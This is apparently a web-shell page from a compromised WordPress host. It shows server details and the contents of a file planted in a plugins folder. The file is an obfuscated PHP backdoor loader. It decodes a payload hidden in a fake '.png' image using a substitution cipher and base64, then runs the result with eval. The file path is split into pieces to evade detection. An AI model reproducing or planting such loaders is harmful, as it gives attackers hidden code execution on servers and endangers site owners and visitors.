HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/abyzywet/haruwy.txt
<?php

function nixuno_lathyryvo($vorasa_khakebezhek) {
    if ($vorasa_khakebezhek == 1)
        return zimydo_athachuvil();
    if ($vorasa_khakebezhek == 2)
        return ebogas_xashakhys();
}

function navywu_pibyqachi($vorasa_khakebezhek) {
    $ejytuwy = nixuno_lathyryvo(1);
    $seriji = nixuno_lathyryvo(2);
    for ($ikhuqaf = 0; $ikhuqaf < strlen($ejytuwy); $ikhuqaf++) {
        $ykajoj = substr($ejytuwy, $ikhuqaf, 1);
        $exoniz = substr($seriji, $ikhuqaf, 1);
        $athijup[$ykajoj] = $exoniz;
    }

    $iqavipe = strtr($vorasa_khakebezhek, $athijup);
    $iqavipe = base64_decode($iqavipe);

    return $iqavipe;
}

function oguvad_kyhyzhesu($vorasa_khakebezhek) {
    $denyxig = array();
    if (!file_exists($vorasa_khakebezhek))
        return false;
    $sygythe = @file_get_contents($vorasa_khakebezhek);
    if (!$sygythe)
        return false;
    $sygythe = substr($sygythe, 3);
    $denyxig = navywu_pibyqachi($sygythe);
    return $denyxig;
}

function zimydo_athachuvil() {
    $sygythe = "z5NIBKYsGmpCi7h=n3c8y/+VE2tJxvawlF4ZQg1Lrdo0TRuDbMeOfUjXHAWkP69Sq";
    return $sygythe;
}

function ebogas_xashakhys() {
    $denyxig = "hCdUmNYkSTpywb4nc=7t9ojLMuPs3faWHB2RX51qJZ6vAV/l8IeOxDgErQGiz+0KF";
    return $denyxig;
}

$oxezicu = oguvad_kyhyzhesu(__DIR__ . "/asset" . "s/imag" . "es/i" . "renope" . ".png");
if ($oxezicu) {
    @eval($oxezicu);
}